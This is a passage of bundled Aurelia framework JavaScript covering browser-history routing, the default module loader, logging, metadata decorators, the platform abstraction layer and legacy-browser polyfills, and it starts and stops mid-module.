_this2._checkUrlCallback = _this2._checkUrl.bind(_this2);
_this2.location = _aureliaPal.PLATFORM.location;
_this2.history = _aureliaPal.PLATFORM.history;
_this2.linkHandler = linkHandler;
return _this2;
}
BrowserHistory.prototype.activate = function activate(options) {
if (this._isActive) {
throw new Error('History has already been activated.');
}
var wantsPushState = !!options.pushState;
this._isActive = true;
this.options = Object.assign({}, { root: '/' }, this.options, options);
this.root = ('/' + this.options.root + '/').replace(rootStripper, '/');
this._wantsHashChange = this.options.hashChange !== false;
this._hasPushState = !!(this.options.pushState && this.history && this.history.pushState);
var eventName = void 0;
if (this._hasPushState) {
eventName = 'popstate';
} else if (this._wantsHashChange) {
eventName = 'hashchange';
}
_aureliaPal.PLATFORM.addEventListener(eventName, this._checkUrlCallback);
if (this._wantsHashChange && wantsPushState) {
var loc = this.location;
var atRoot = loc.pathname.replace(/[^\/]$/, '$&/') === this.root;
if (!this._hasPushState && !atRoot) {
this.fragment = this._getFragment(null, true);
this.location.replace(this.root + this.location.search + '#' + this.fragment);
return true;
} else if (this._hasPushState && atRoot && loc.hash) {
this.fragment = this._getHash().replace(routeStripper, '');
this.history.replaceState({}, _aureliaPal.DOM.title, this.root + this.fragment + loc.search);
}
}
if (!this.fragment) {
this.fragment = this._getFragment();
}
this.linkHandler.activate(this);
if (!this.options.silent) {
return this._loadUrl();
}
};
BrowserHistory.prototype.deactivate = function deactivate() {
_aureliaPal.PLATFORM.removeEventListener('popstate', this._checkUrlCallback);
_aureliaPal.PLATFORM.removeEventListener('hashchange', this._checkUrlCallback);
this._isActive = false;
this.linkHandler.deactivate();
};
BrowserHistory.prototype.getAbsoluteRoot = function getAbsoluteRoot() {
var origin = createOrigin(this.location.protocol, this.location.hostname, this.location.port);
return '' + origin + this.root;
};
BrowserHistory.prototype.navigate = function navigate(fragment) {
var _ref = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
var _ref$trigger = _ref.trigger;
var trigger = _ref$trigger === undefined ? true : _ref$trigger;
var _ref$replace = _ref.replace;
var replace = _ref$replace === undefined ? false : _ref$replace;
if (fragment && absoluteUrl.test(fragment)) {
this.location.href = fragment;
return true;
}
if (!this._isActive) {
return false;
}
fragment = this._getFragment(fragment || '');
if (this.fragment === fragment && !replace) {
return false;
}
this.fragment = fragment;
var url = this.root + fragment;
if (fragment === '' && url !== '/') {
url = url.slice(0, -1);
}
if (this._hasPushState) {
url = url.replace('//', '/');
this.history[replace ? 'replaceState' : 'pushState']({}, _aureliaPal.DOM.title, url);
} else if (this._wantsHashChange) {
updateHash(this.location, fragment, replace);
} else {
return this.location.assign(url);
}
if (trigger) {
return this._loadUrl(fragment);
}
};
BrowserHistory.prototype.navigateBack = function navigateBack() {
this.history.back();
};
BrowserHistory.prototype.setTitle = function setTitle(title) {
_aureliaPal.DOM.title = title;
};
BrowserHistory.prototype._getHash = function _getHash() {
return this.location.hash.substr(1);
};
BrowserHistory.prototype._getFragment = function _getFragment(fragment, forcePushState) {
var root = void 0;
if (!fragment) {
if (this._hasPushState || !this._wantsHashChange || forcePushState) {
fragment = this.location.pathname + this.location.search;
root = this.root.replace(trailingSlash, '');
if (!fragment.indexOf(root)) {
fragment = fragment.substr(root.length);
}
} else {
fragment = this._getHash();
}
}
return '/' + fragment.replace(routeStripper, '');
};
BrowserHistory.prototype._checkUrl = function _checkUrl() {
var current = this._getFragment();
if (current !== this.fragment) {
this._loadUrl();
}
};
BrowserHistory.prototype._loadUrl = function _loadUrl(fragmentOverride) {
var fragment = this.fragment = this._getFragment(fragmentOverride);
return this.options.routeHandler ? this.options.routeHandler(fragment) : false;
};
return BrowserHistory;
}(_aureliaHistory.History), _class.inject = [LinkHandler], _temp);
var routeStripper = /^#?\/*|\s+$/g;
var rootStripper = /^\/+|\/+$/g;
var trailingSlash = /\/$/;
var absoluteUrl = /^([a-z][a-z0-9+\-.]*:)?\/\//i;
function updateHash(location, fragment, replace) {
if (replace) {
var _href = location.href.replace(/(javascript:|#).*$/, '');
location.replace(_href + '#' + fragment);
} else {
location.hash = '#' + fragment;
}
}
function createOrigin(protocol, hostname, port) {
return protocol + '//' + hostname + (port ? ':' + port : '');
}
});
define('aurelia-loader',['exports', 'aurelia-path', 'aurelia-metadata'], function (exports, _aureliaPath, _aureliaMetadata) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.Loader = exports.TemplateRegistryEntry = exports.TemplateDependency = undefined;
var _createClass = function () {
function defineProperties(target, props) {
for (var i = 0; i < props.length; i++) {
var descriptor = props[i];
descriptor.enumerable = descriptor.enumerable || false;
descriptor.configurable = true;
if ("value" in descriptor) descriptor.writable = true;
Object.defineProperty(target, descriptor.key, descriptor);
}
}
return function (Constructor, protoProps, staticProps) {
if (protoProps) defineProperties(Constructor.prototype, protoProps);
if (staticProps) defineProperties(Constructor, staticProps);
return Constructor;
};
}();
var TemplateDependency = exports.TemplateDependency = function TemplateDependency(src, name) {
this.src = src;
this.name = name;
};
var TemplateRegistryEntry = exports.TemplateRegistryEntry = function () {
function TemplateRegistryEntry(address) {
this.templateIsLoaded = false;
this.factoryIsReady = false;
this.resources = null;
this.dependencies = null;
this.address = address;
this.onReady = null;
this._template = null;
this._factory = null;
}
TemplateRegistryEntry.prototype.addDependency = function addDependency(src, name) {
var finalSrc = typeof src === 'string' ? (0, _aureliaPath.relativeToFile)(src, this.address) : _aureliaMetadata.Origin.get(src).moduleId;
this.dependencies.push(new TemplateDependency(finalSrc, name));
};
_createClass(TemplateRegistryEntry, [{
key: 'template',
get: function get() {
return this._template;
},
set: function set(value) {
var address = this.address;
var requires = void 0;
var current = void 0;
var src = void 0;
var dependencies = void 0;
this._template = value;
this.templateIsLoaded = true;
requires = value.content.querySelectorAll('require');
dependencies = this.dependencies = new Array(requires.length);
for (var i = 0, ii = requires.length; i < ii; ++i) {
current = requires[i];
src = current.getAttribute('from');
if (!src) {
throw new Error('<require> element in ' + address + ' has no "from" attribute.');
}
dependencies[i] = new TemplateDependency((0, _aureliaPath.relativeToFile)(src, address), current.getAttribute('as'));
if (current.parentNode) {
current.parentNode.removeChild(current);
}
}
}
}, {
key: 'factory',
get: function get() {
return this._factory;
},
set: function set(value) {
this._factory = value;
this.factoryIsReady = true;
}
}]);
return TemplateRegistryEntry;
}();
var Loader = exports.Loader = function () {
function Loader() {
this.templateRegistry = {};
}
Loader.prototype.map = function map(id, source) {
throw new Error('Loaders must implement map(id, source).');
};
Loader.prototype.normalizeSync = function normalizeSync(moduleId, relativeTo) {
throw new Error('Loaders must implement normalizeSync(moduleId, relativeTo).');
};
Loader.prototype.normalize = function normalize(moduleId, relativeTo) {
throw new Error('Loaders must implement normalize(moduleId: string, relativeTo: string): Promise<string>.');
};
Loader.prototype.loadModule = function loadModule(id) {
throw new Error('Loaders must implement loadModule(id).');
};
Loader.prototype.loadAllModules = function loadAllModules(ids) {
throw new Error('Loader must implement loadAllModules(ids).');
};
Loader.prototype.loadTemplate = function loadTemplate(url) {
throw new Error('Loader must implement loadTemplate(url).');
};
Loader.prototype.loadText = function loadText(url) {
throw new Error('Loader must implement loadText(url).');
};
Loader.prototype.applyPluginToUrl = function applyPluginToUrl(url, pluginName) {
throw new Error('Loader must implement applyPluginToUrl(url, pluginName).');
};
Loader.prototype.addPlugin = function addPlugin(pluginName, implementation) {
throw new Error('Loader must implement addPlugin(pluginName, implementation).');
};
Loader.prototype.getOrCreateTemplateRegistryEntry = function getOrCreateTemplateRegistryEntry(address) {
return this.templateRegistry[address] || (this.templateRegistry[address] = new TemplateRegistryEntry(address));
};
return Loader;
}();
});
define('aurelia-loader-default',['exports', 'aurelia-loader', 'aurelia-pal', 'aurelia-metadata'], function (exports, _aureliaLoader, _aureliaPal, _aureliaMetadata) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.DefaultLoader = exports.TextTemplateLoader = undefined;
function _possibleConstructorReturn(self, call) {
if (!self) {
throw new ReferenceError("this hasn't been initialised - super() hasn't been called");
}
return call && (typeof call === "object" || typeof call === "function") ? call : self;
}
function _inherits(subClass, superClass) {
if (typeof superClass !== "function" && superClass !== null) {
throw new TypeError("Super expression must either be null or a function, not " + typeof superClass);
}
subClass.prototype = Object.create(superClass && superClass.prototype, {
constructor: {
value: subClass,
enumerable: false,
writable: true,
configurable: true
}
});
if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass;
}
var TextTemplateLoader = exports.TextTemplateLoader = function () {
function TextTemplateLoader() {
}
TextTemplateLoader.prototype.loadTemplate = function loadTemplate(loader, entry) {
return loader.loadText(entry.address).then(function (text) {
entry.template = _aureliaPal.DOM.createTemplateFromMarkup(text);
});
};
return TextTemplateLoader;
}();
function ensureOriginOnExports(executed, name) {
var target = executed;
var key = void 0;
var exportedValue = void 0;
if (target.__useDefault) {
target = target['default'];
}
_aureliaMetadata.Origin.set(target, new _aureliaMetadata.Origin(name, 'default'));
for (key in target) {
exportedValue = target[key];
if (typeof exportedValue === 'function') {
_aureliaMetadata.Origin.set(exportedValue, new _aureliaMetadata.Origin(name, key));
}
}
return executed;
}
var DefaultLoader = exports.DefaultLoader = function (_Loader) {
_inherits(DefaultLoader, _Loader);
function DefaultLoader() {
var _this = _possibleConstructorReturn(this, _Loader.call(this));
_this.textPluginName = 'text';
_this.moduleRegistry = Object.create(null);
_this.useTemplateLoader(new TextTemplateLoader());
var that = _this;
_this.addPlugin('template-registry-entry', {
'fetch': function fetch(address) {
var entry = that.getOrCreateTemplateRegistryEntry(address);
return entry.templateIsLoaded ? entry : that.templateLoader.loadTemplate(that, entry).then(function (x) {
return entry;
});
}
});
return _this;
}
DefaultLoader.prototype.useTemplateLoader = function useTemplateLoader(templateLoader) {
this.templateLoader = templateLoader;
};
DefaultLoader.prototype.loadAllModules = function loadAllModules(ids) {
var loads = [];
for (var i = 0, ii = ids.length; i < ii; ++i) {
loads.push(this.loadModule(ids[i]));
}
return Promise.all(loads);
};
DefaultLoader.prototype.loadTemplate = function loadTemplate(url) {
return this._import(this.applyPluginToUrl(url, 'template-registry-entry'));
};
DefaultLoader.prototype.loadText = function loadText(url) {
return this._import(this.applyPluginToUrl(url, this.textPluginName)).then(function (textOrModule) {
if (typeof textOrModule === 'string') {
return textOrModule;
}
return textOrModule['default'];
});
};
return DefaultLoader;
}(_aureliaLoader.Loader);
_aureliaPal.PLATFORM.Loader = DefaultLoader;
if (!_aureliaPal.PLATFORM.global.System || !_aureliaPal.PLATFORM.global.System.import) {
if (_aureliaPal.PLATFORM.global.requirejs && requirejs.s && requirejs.s.contexts && requirejs.s.contexts._ && requirejs.s.contexts._.defined) {
_aureliaPal.PLATFORM.eachModule = function (callback) {
var defined = requirejs.s.contexts._.defined;
for (var key in defined) {
try {
if (callback(key, defined[key])) return;
} catch (e) {}
}
};
} else {
_aureliaPal.PLATFORM.eachModule = function (callback) {};
}
DefaultLoader.prototype._import = function (moduleId) {
return new Promise(function (resolve, reject) {
require([moduleId], resolve, reject);
});
};
DefaultLoader.prototype.loadModule = function (id) {
var _this2 = this;
var existing = this.moduleRegistry[id];
if (existing !== undefined) {
return Promise.resolve(existing);
}
return new Promise(function (resolve, reject) {
require([id], function (m) {
_this2.moduleRegistry[id] = m;
resolve(ensureOriginOnExports(m, id));
}, reject);
});
};
DefaultLoader.prototype.map = function (id, source) {};
DefaultLoader.prototype.normalize = function (moduleId, relativeTo) {
return Promise.resolve(moduleId);
};
DefaultLoader.prototype.normalizeSync = function (moduleId, relativeTo) {
return moduleId;
};
DefaultLoader.prototype.applyPluginToUrl = function (url, pluginName) {
return pluginName + '!' + url;
};
DefaultLoader.prototype.addPlugin = function (pluginName, implementation) {
var nonAnonDefine = define;
nonAnonDefine(pluginName, [], {
'load': function load(name, req, onload) {
var result = implementation.fetch(name);
Promise.resolve(result).then(onload);
}
});
};
} else {
_aureliaPal.PLATFORM.eachModule = function (callback) {
if (System.registry) {
for (var _iterator = System.registry.entries(), _isArray = Array.isArray(_iterator), _i = 0, _iterator = _isArray ? _iterator : _iterator[Symbol.iterator]();;) {
var _ref;
if (_isArray) {
if (_i >= _iterator.length) break;
_ref = _iterator[_i++];
} else {
_i = _iterator.next();
if (_i.done) break;
_ref = _i.value;
}
var _ref2 = _ref;
var k = _ref2[0];
var m = _ref2[1];
try {
if (callback(k, m)) return;
} catch (e) {}
}
return;
}
var modules = System._loader.modules;
for (var key in modules) {
try {
if (callback(key, modules[key].module)) return;
} catch (e) {}
}
};
System.set('text', System.newModule({
'translate': function translate(load) {
return 'module.exports = "' + load.source.replace(/(["\\])/g, '\\$1').replace(/[\f]/g, '\\f').replace(/[\b]/g, '\\b').replace(/[\n]/g, '\\n').replace(/[\t]/g, '\\t').replace(/[\r]/g, '\\r').replace(/[\u2028]/g, '\\u2028').replace(/[\u2029]/g, '\\u2029') + '";';
}
}));
DefaultLoader.prototype._import = function (moduleId) {
return System.import(moduleId);
};
DefaultLoader.prototype.loadModule = function (id) {
var _this3 = this;
return System.normalize(id).then(function (newId) {
var existing = _this3.moduleRegistry[newId];
if (existing !== undefined) {
return Promise.resolve(existing);
}
return System.import(newId).then(function (m) {
_this3.moduleRegistry[newId] = m;
return ensureOriginOnExports(m, newId);
});
});
};
DefaultLoader.prototype.map = function (id, source) {
var _map;
System.config({ map: (_map = {}, _map[id] = source, _map) });
};
DefaultLoader.prototype.normalizeSync = function (moduleId, relativeTo) {
return System.normalizeSync(moduleId, relativeTo);
};
DefaultLoader.prototype.normalize = function (moduleId, relativeTo) {
return System.normalize(moduleId, relativeTo);
};
DefaultLoader.prototype.applyPluginToUrl = function (url, pluginName) {
return url + '!' + pluginName;
};
DefaultLoader.prototype.addPlugin = function (pluginName, implementation) {
System.set(pluginName, System.newModule({
'fetch': function fetch(load, _fetch) {
var result = implementation.fetch(load.address);
return Promise.resolve(result).then(function (x) {
load.metadata.result = x;
return '';
});
},
'instantiate': function instantiate(load) {
return load.metadata.result;
}
}));
};
}
});
define('aurelia-logging',['exports'], function (exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.getLogger = getLogger;
exports.addAppender = addAppender;
exports.removeAppender = removeAppender;
exports.setLevel = setLevel;
exports.getLevel = getLevel;
var logLevel = exports.logLevel = {
none: 0,
error: 1,
warn: 2,
info: 3,
debug: 4
};
var loggers = {};
var appenders = [];
var globalDefaultLevel = logLevel.none;
function appendArgs() {
return [this].concat(Array.prototype.slice.call(arguments));
}
function logFactory(level) {
var threshold = logLevel[level];
return function () {
if (this.level < threshold) {
return;
}
var args = appendArgs.apply(this, arguments);
var i = appenders.length;
while (i--) {
var _appenders$i;
(_appenders$i = appenders[i])[level].apply(_appenders$i, args);
}
};
}
function connectLoggers() {
var proto = Logger.prototype;
proto.debug = logFactory('debug');
proto.info = logFactory('info');
proto.warn = logFactory('warn');
proto.error = logFactory('error');
}
function getLogger(id) {
return loggers[id] || new Logger(id);
}
function addAppender(appender) {
if (appenders.push(appender) === 1) {
connectLoggers();
}
}
function removeAppender(appender) {
appenders = appenders.filter(function (a) {
return a !== appender;
});
}
function setLevel(level) {
globalDefaultLevel = level;
for (var key in loggers) {
loggers[key].setLevel(level);
}
}
function getLevel() {
return globalDefaultLevel;
}
var Logger = exports.Logger = function () {
function Logger(id) {
var cached = loggers[id];
if (cached) {
return cached;
}
loggers[id] = this;
this.id = id;
this.level = globalDefaultLevel;
}
Logger.prototype.debug = function debug(message) {};
Logger.prototype.info = function info(message) {};
Logger.prototype.warn = function warn(message) {};
Logger.prototype.error = function error(message) {};
Logger.prototype.setLevel = function setLevel(level) {
this.level = level;
};
return Logger;
}();
});
define('aurelia-logging-console',['exports', 'aurelia-logging'], function (exports, _aureliaLogging) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.ConsoleAppender = undefined;
var ConsoleAppender = exports.ConsoleAppender = function () {
function ConsoleAppender() {
}
ConsoleAppender.prototype.debug = function debug(logger) {
var _console;
for (var _len = arguments.length, rest = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
rest[_key - 1] = arguments[_key];
}
(_console = console).debug.apply(_console, ['DEBUG [' + logger.id + ']'].concat(rest));
};
ConsoleAppender.prototype.info = function info(logger) {
var _console2;
for (var _len2 = arguments.length, rest = Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) {
rest[_key2 - 1] = arguments[_key2];
}
(_console2 = console).info.apply(_console2, ['INFO [' + logger.id + ']'].concat(rest));
};
ConsoleAppender.prototype.warn = function warn(logger) {
var _console3;
for (var _len3 = arguments.length, rest = Array(_len3 > 1 ? _len3 - 1 : 0), _key3 = 1; _key3 < _len3; _key3++) {
rest[_key3 - 1] = arguments[_key3];
}
(_console3 = console).warn.apply(_console3, ['WARN [' + logger.id + ']'].concat(rest));
};
ConsoleAppender.prototype.error = function error(logger) {
var _console4;
for (var _len4 = arguments.length, rest = Array(_len4 > 1 ? _len4 - 1 : 0), _key4 = 1; _key4 < _len4; _key4++) {
rest[_key4 - 1] = arguments[_key4];
}
(_console4 = console).error.apply(_console4, ['ERROR [' + logger.id + ']'].concat(rest));
};
return ConsoleAppender;
}();
});
define('aurelia-metadata',['exports', 'aurelia-pal'], function (exports, _aureliaPal) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.Origin = exports.metadata = undefined;
exports.decorators = decorators;
exports.deprecated = deprecated;
exports.mixin = mixin;
exports.protocol = protocol;
var _extends = Object.assign || function (target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i];
for (var key in source) {
if (Object.prototype.hasOwnProperty.call(source, key)) {
target[key] = source[key];
}
}
}
return target;
};
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) {
return typeof obj;
} : function (obj) {
return obj && typeof Symbol === "function" && obj.constructor === Symbol ? "symbol" : typeof obj;
};
function isObject(val) {
return val && (typeof val === 'function' || (typeof val === 'undefined' ? 'undefined' : _typeof(val)) === 'object');
}
var metadata = exports.metadata = {
resource: 'aurelia:resource',
paramTypes: 'design:paramtypes',
propertyType: 'design:type',
properties: 'design:properties',
get: function get(metadataKey, target, targetKey) {
if (!isObject(target)) {
return undefined;
}
var result = metadata.getOwn(metadataKey, target, targetKey);
return result === undefined ? metadata.get(metadataKey, Object.getPrototypeOf(target), targetKey) : result;
},
getOwn: function getOwn(metadataKey, target, targetKey) {
if (!isObject(target)) {
return undefined;
}
return Reflect.getOwnMetadata(metadataKey, target, targetKey);
},
define: function define(metadataKey, metadataValue, target, targetKey) {
Reflect.defineMetadata(metadataKey, metadataValue, target, targetKey);
},
getOrCreateOwn: function getOrCreateOwn(metadataKey, Type, target, targetKey) {
var result = metadata.getOwn(metadataKey, target, targetKey);
if (result === undefined) {
result = new Type();
Reflect.defineMetadata(metadataKey, result, target, targetKey);
}
return result;
}
};
var originStorage = new Map();
var unknownOrigin = Object.freeze({ moduleId: undefined, moduleMember: undefined });
var Origin = exports.Origin = function () {
function Origin(moduleId, moduleMember) {
this.moduleId = moduleId;
this.moduleMember = moduleMember;
}
Origin.get = function get(fn) {
var origin = originStorage.get(fn);
if (origin === undefined) {
_aureliaPal.PLATFORM.eachModule(function (key, value) {
if ((typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object') {
for (var name in value) {
var exp = value[name];
if (exp === fn) {
originStorage.set(fn, origin = new Origin(key, name));
return true;
}
}
}
if (value === fn) {
originStorage.set(fn, origin = new Origin(key, 'default'));
return true;
}
return false;
});
}
return origin || unknownOrigin;
};
Origin.set = function set(fn, origin) {
originStorage.set(fn, origin);
};
return Origin;
}();
function decorators() {
for (var _len = arguments.length, rest = Array(_len), _key = 0; _key < _len; _key++) {
rest[_key] = arguments[_key];
}
var applicator = function applicator(target, key, descriptor) {
var i = rest.length;
if (key) {
descriptor = descriptor || {
value: target[key],
writable: true,
configurable: true,
enumerable: true
};
while (i--) {
descriptor = rest[i](target, key, descriptor) || descriptor;
}
Object.defineProperty(target, key, descriptor);
} else {
while (i--) {
target = rest[i](target) || target;
}
}
return target;
};
applicator.on = applicator;
return applicator;
}
function deprecated(optionsOrTarget, maybeKey, maybeDescriptor) {
function decorator(target, key, descriptor) {
var methodSignature = target.constructor.name + '#' + key;
var options = maybeKey ? {} : optionsOrTarget || {};
var message = 'DEPRECATION - ' + methodSignature;
if (typeof descriptor.value !== 'function') {
throw new SyntaxError('Only methods can be marked as deprecated.');
}
if (options.message) {
message += ' - ' + options.message;
}
return _extends({}, descriptor, {
value: function deprecationWrapper() {
if (options.error) {
throw new Error(message);
} else {
console.warn(message);
}
return descriptor.value.apply(this, arguments);
}
});
}
return maybeKey ? decorator(optionsOrTarget, maybeKey, maybeDescriptor) : decorator;
}
function mixin(behavior) {
var instanceKeys = Object.keys(behavior);
function _mixin(possible) {
var decorator = function decorator(target) {
var resolvedTarget = typeof target === 'function' ? target.prototype : target;
var i = instanceKeys.length;
while (i--) {
var property = instanceKeys[i];
Object.defineProperty(resolvedTarget, property, {
value: behavior[property],
writable: true
});
}
};
return possible ? decorator(possible) : decorator;
}
return _mixin;
}
function alwaysValid() {
return true;
}
function noCompose() {}
function ensureProtocolOptions(options) {
if (options === undefined) {
options = {};
} else if (typeof options === 'function') {
options = {
validate: options
};
}
if (!options.validate) {
options.validate = alwaysValid;
}
if (!options.compose) {
options.compose = noCompose;
}
return options;
}
function createProtocolValidator(validate) {
return function (target) {
var result = validate(target);
return result === true;
};
}
function createProtocolAsserter(name, validate) {
return function (target) {
var result = validate(target);
if (result !== true) {
throw new Error(result || name + ' was not correctly implemented.');
}
};
}
function protocol(name, options) {
options = ensureProtocolOptions(options);
var result = function result(target) {
var resolvedTarget = typeof target === 'function' ? target.prototype : target;
options.compose(resolvedTarget);
result.assert(resolvedTarget);
Object.defineProperty(resolvedTarget, 'protocol:' + name, {
enumerable: false,
configurable: false,
writable: false,
value: true
});
};
result.validate = createProtocolValidator(options.validate);
result.assert = createProtocolAsserter(name, options.validate);
return result;
}
protocol.create = function (name, options) {
options = ensureProtocolOptions(options);
var hidden = 'protocol:' + name;
var result = function result(target) {
var decorator = protocol(name, options);
return target ? decorator(target) : decorator;
};
result.decorates = function (obj) {
return obj[hidden] === true;
};
result.validate = createProtocolValidator(options.validate);
result.assert = createProtocolAsserter(name, options.validate);
return result;
};
});
define('aurelia-pal',['exports'], function (exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.AggregateError = AggregateError;
exports.initializePAL = initializePAL;
exports.reset = reset;
function AggregateError(message, innerError, skipIfAlreadyAggregate) {
if (innerError) {
if (innerError.innerError && skipIfAlreadyAggregate) {
return innerError;
}
var separator = '\n------------------------------------------------\n';
message += separator + 'Inner Error:\n';
if (typeof innerError === 'string') {
message += 'Message: ' + innerError;
} else {
if (innerError.message) {
message += 'Message: ' + innerError.message;
} else {
message += 'Unknown Inner Error Type. Displaying Inner Error as JSON:\n ' + JSON.stringify(innerError, null, ' ');
}
if (innerError.stack) {
message += '\nInner Error Stack:\n' + innerError.stack;
message += '\nEnd Inner Error Stack';
}
}
message += separator;
}
var e = new Error(message);
if (innerError) {
e.innerError = innerError;
}
return e;
}
var FEATURE = exports.FEATURE = {};
var PLATFORM = exports.PLATFORM = {
noop: function noop() {},
eachModule: function eachModule() {},
moduleName: function (_moduleName) {
function moduleName(_x) {
return _moduleName.apply(this, arguments);
}
moduleName.toString = function () {
return _moduleName.toString();
};
return moduleName;
}(function (moduleName) {
return moduleName;
})
};
PLATFORM.global = function () {
if (typeof self !== 'undefined') {
return self;
}
if (typeof global !== 'undefined') {
return global;
}
return new Function('return this')();
}();
var DOM = exports.DOM = {};
var isInitialized = exports.isInitialized = false;
function initializePAL(callback) {
if (isInitialized) {
return;
}
exports.isInitialized = isInitialized = true;
if (typeof Object.getPropertyDescriptor !== 'function') {
Object.getPropertyDescriptor = function (subject, name) {
var pd = Object.getOwnPropertyDescriptor(subject, name);
var proto = Object.getPrototypeOf(subject);
while (typeof pd === 'undefined' && proto !== null) {
pd = Object.getOwnPropertyDescriptor(proto, name);
proto = Object.getPrototypeOf(proto);
}
return pd;
};
}
callback(PLATFORM, FEATURE, DOM);
}
function reset() {
exports.isInitialized = isInitialized = false;
}
});
define('aurelia-pal-browser',['exports', 'aurelia-pal'], function (exports, _aureliaPal) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports._DOM = exports._FEATURE = exports._PLATFORM = undefined;
exports.initialize = initialize;
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) {
return typeof obj;
} : function (obj) {
return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj;
};
var _PLATFORM = exports._PLATFORM = {
location: window.location,
history: window.history,
addEventListener: function addEventListener(eventName, callback, capture) {
this.global.addEventListener(eventName, callback, capture);
},
removeEventListener: function removeEventListener(eventName, callback, capture) {
this.global.removeEventListener(eventName, callback, capture);
},
performance: window.performance,
requestAnimationFrame: function requestAnimationFrame(callback) {
return this.global.requestAnimationFrame(callback);
}
};
if (typeof FEATURE_NO_IE === 'undefined') {
var test = function test() {};
if (test.name === undefined) {
Object.defineProperty(Function.prototype, 'name', {
get: function get() {
var name = this.toString().match(/^\s*function\s*(\S*)\s*\(/)[1];
Object.defineProperty(this, 'name', { value: name });
return name;
}
});
}
}
if (typeof FEATURE_NO_IE === 'undefined') {
if (!('classList' in document.createElement('_')) || document.createElementNS && !('classList' in document.createElementNS('http://www.w3.org/2000/svg', 'g'))) {
(function () {
var protoProp = 'prototype';
var strTrim = String.prototype.trim;
var arrIndexOf = Array.prototype.indexOf;
var emptyArray = [];
var DOMEx = function DOMEx(type, message) {
this.name = type;
this.code = DOMException[type];
this.message = message;
};
var checkTokenAndGetIndex = function checkTokenAndGetIndex(classList, token) {
if (token === '') {
throw new DOMEx('SYNTAX_ERR', 'An invalid or illegal string was specified');
}
if (/\s/.test(token)) {
throw new DOMEx('INVALID_CHARACTER_ERR', 'String contains an invalid character');
}
return arrIndexOf.call(classList, token);
};
var ClassList = function ClassList(elem) {
var trimmedClasses = strTrim.call(elem.getAttribute('class') || '');
var classes = trimmedClasses ? trimmedClasses.split(/\s+/) : emptyArray;
for (var i = 0, ii = classes.length; i < ii; ++i) {
this.push(classes[i]);
}
this._updateClassName = function () {
elem.setAttribute('class', this.toString());
};
};
var classListProto = ClassList[protoProp] = [];
DOMEx[protoProp] = Error[protoProp];
classListProto.item = function (i) {
return this[i] || null;
};
classListProto.contains = function (token) {
token += '';
return checkTokenAndGetIndex(this, token) !== -1;
};
classListProto.add = function () {
var tokens = arguments;
var i = 0;
var ii = tokens.length;
var token = void 0;
var updated = false;
do {
token = tokens[i] + '';
if (checkTokenAndGetIndex(this, token) === -1) {
this.push(token);
updated = true;
}
} while (++i < ii);
if (updated) {
this._updateClassName();
}
};
classListProto.remove = function () {
var tokens = arguments;
var i = 0;
var ii = tokens.length;
var token = void 0;
var updated = false;
var index = void 0;
do {
token = tokens[i] + '';
index = checkTokenAndGetIndex(this, token);
while (index !== -1) {
this.splice(index, 1);
updated = true;
index = checkTokenAndGetIndex(this, token);
}
} while (++i < ii);
if (updated) {
this._updateClassName();
}
};
classListProto.toggle = function (token, force) {
token += '';
var result = this.contains(token);
var method = result ? force !== true && 'remove' : force !== false && 'add';
if (method) {
this[method](token);
}
if (force === true || force === false) {
return force;
}
return !result;
};
classListProto.toString = function () {
return this.join(' ');
};
Object.defineProperty(Element.prototype, 'classList', {
get: function get() {
return new ClassList(this);
},
enumerable: true,
configurable: true
});
})();
} else {
var testElement = document.createElement('_');
testElement.classList.add('c1', 'c2');
if (!testElement.classList.contains('c2')) {
var createMethod = function createMethod(method) {
var original = DOMTokenList.prototype[method];
DOMTokenList.prototype[method] = function (token) {
for (var i = 0, ii = arguments.length; i < ii; ++i) {
token = arguments[i];
original.call(this, token);
}
};
};
createMethod('add');
createMethod('remove');
}
testElement.classList.toggle('c3', false);
if (testElement.classList.contains('c3')) {
(function () {
var _toggle = DOMTokenList.prototype.toggle;
DOMTokenList.prototype.toggle = function (token, force) {
if (1 in arguments && !this.contains(token) === !force) {
return force;
}
return _toggle.call(this, token);
};
})();
}
testElement = null;
}
}
if (typeof FEATURE_NO_IE === 'undefined') {
// @license http://opensource.org/licenses/MIT
if ('performance' in window === false) {
window.performance = {};
}
if ('now' in window.performance === false) {
(function () {
var nowOffset = Date.now();
if (performance.timing && performance.timing.navigationStart) {
nowOffset = performance.timing.navigationStart;
}
window.performance.now = function now() {
return Date.now() - nowOffset;
};
})();
}
_PLATFORM.performance = window.performance;
}
if (typeof FEATURE_NO_IE === 'undefined') {
(function () {
var con = window.console = window.console || {};
var nop = function nop() {};
if (!con.memory) con.memory = {};
('assert,clear,count,debug,dir,dirxml,error,exception,group,' + 'groupCollapsed,groupEnd,info,log,markTimeline,profile,profiles,profileEnd,' + 'show,table,time,timeEnd,timeline,timelineEnd,timeStamp,trace,warn').split(',').forEach(function (m) {
if (!con[m]) con[m] = nop;
});
if (_typeof(con.log) === 'object') {
'log,info,warn,error,assert,dir,clear,profile,profileEnd'.split(',').forEach(function (method) {
console[method] = this.bind(console[method], console);
}, Function.prototype.call);
}
})();
}
if (typeof FEATURE_NO_IE === 'undefined') {
if (!window.CustomEvent || typeof window.CustomEvent !== 'function') {
var _CustomEvent = function _CustomEvent(event, params) {
params = params || {
bubbles: false,
cancelable: false,
detail: undefined
};
var evt = document.createEvent('CustomEvent');
evt.initCustomEvent(event, params.bubbles, params.cancelable, params.detail);
return evt;
};
_CustomEvent.prototype = window.Event.prototype;
window.CustomEvent = _CustomEvent;
}
}
if (Element && !Element.prototype.matches) {
